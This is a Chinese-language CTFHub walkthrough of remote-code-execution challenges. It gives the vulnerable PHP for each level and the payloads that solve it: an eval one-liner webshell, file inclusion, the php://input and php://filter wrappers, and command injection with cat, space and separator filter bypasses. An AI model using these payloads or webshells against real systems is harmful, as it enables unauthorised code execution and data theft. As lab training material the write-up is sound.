CTFHub RCE解析
昨天大致学了一下命令执行,那我们今天开始实战。在CTFHu里练习一下
1.eval执行
我们先做一下eval执行吧。看见上面是一段php代码,如下:
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
//eval函数可以把字符串当作php代码执行
//$_RREQUEST可以获得post或者get上传的参数
先浏览一下目录,看看有没有没关于flag的文件,这样我们就可以构造pyload
?cmd=system("ls ../../../"); //system()函数执行外部程序,并且显示输出
发现了flag_25103文件,那我们看看里的数据,构造pyload:
?cmd=system("cat ../../../flag_25103");
获得flag
2.文件包含
下面是文件包含,来看一下里面的代码
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
//i have a <a href="shell.txt">shell</a>, how to use it ? i have a shell, how to use it ?
//strpos()函数查找字符串在另一字符串中第一次出现的位置。
说是如果传给file的参数里包含"flag"的话就输出Hacker!!!,如果没有的话把file里的参数当作php代码执行
看看下面还说了有一个shell.txt,how to use it 。shell里面有一句话木马<?php eval($_REQUEST['ctfhub']);?>,
那我们把这个一句话木马传给file变量。
pyload:?file=shell.txt //上传一句话木马
上传之后,我们就可以进行操作了,还是先找一下有没有关于flag的文件,然后我们再获取里面的数据
ctfhub=system('ls ../../../');//查找目录
ctfhub=system('cat ../../../flag');//获取数据
获得flag
3.php://input
我们先来了解一下Php://input。
php://input是可以访问请求的原始数据的只读流。就是说可以执行post请求的内容。它是一种伪协议。
而要使用这个伪协议有两个条件:1.allow_url_include是On;2.POST请求
好,我们来看代码
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
//i don't have shell, how to get flag?
这次它有没shell了。那我们从其他方面看看,上面代码说如果传给file的值开头不是php://就输出Hacker!!!,如果是的话那就执行include函数。
题目php://input,我们从这方面入手,使用php://input
构造pyload
?file=php://input
然后我们抓一下包
应该是成功了,然后我们发送post请求,构造pyload
一样,找到flag文件,获取数据
3.远程包含
此题与上题方法一样,不再做过多解释,一样是使用php://input
4.读取源代码
我们先说一下php://filter,这个也是伪协议的一种。是一种元封装器, 设计用于数据流打开时的筛选过滤应用。下面是一些参数
我们还看一下源码
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
这次它直接告诉了你flag在哪里了。那下一步我们直接读取就行了。利用php://filter构造pyload
?filte=php://filter/read=convert.base64-encode/resource=/flag
//以base64编码显示
得到Y3RmaHViezY2NDg3MGEwZjM1OTU1YzE2MzQ4ZGFjOX0K,然后再解码即可
5.命令注入
这告诉我们什么都没过滤,那就直接干吧
先来
127.0.0.0|ls //查看目录
第一个php文件有点可疑,那我们先搞搞它吧,
127.0.0.1|cat 150962426819160.php
啥都没有,那查看源代码
6.过滤cat
这次是过滤了cat,不过,不用担心,还是很简单的
我们可以进行绕过,而这样的方法有很多种,在这里我使用了反斜杠,
我们先来把flag文件找到
127.0.0.1|ls
然后获取数据
127.0.0.1|c\at flag_39251349022334.php
得到flag
7.过滤空格
关于过滤空格呢,也是可以绕过的
我们可以使用以下方法进行绕过
<
<>
${IFS}
$IFS$9
%09
{cat,flag}
%20
然后其他操作与以上是一样的
127.0.0.1|ls
然后进行绕过
127.0.0.1|cat$IFS$9flag_271841403229806.php
获得flag
8.过滤目录分隔符
这个是过滤了目录分隔符“/”
首先我们先还是老样子
127.0.0.1|ls
127.0.0.1|cd flag_is_here;ls
然后我们再用
127.0.0.1|cd flag_is_here;cat flag_3426334812644.php //转到flag_is_there里面,并获取里面的数据
得到flag
9.过滤运算符
这个过滤了运算符|、||、&、&&。可是还有一个;运算符。可以利用它进行注入,用法与|一样,这里不再进行过多解释
10.综合过滤练习
看样子是将之前的过滤综合到了一起。
那我们开始了,先查看目录
?ip=127.0.0.1%0als
若所有运算符都被过滤,那我们可以使用%0a来代替
然后进一步查看flag_is_here
?ip=127.0.0.1%0Als$IFS$9f\lag_is_here
然后获取数据
?ip=127.0.0.1%0Acd$IFS$9f\lag_is_here%0Ac\at$IFS$9fla\g_272101055320691.php
成功!!!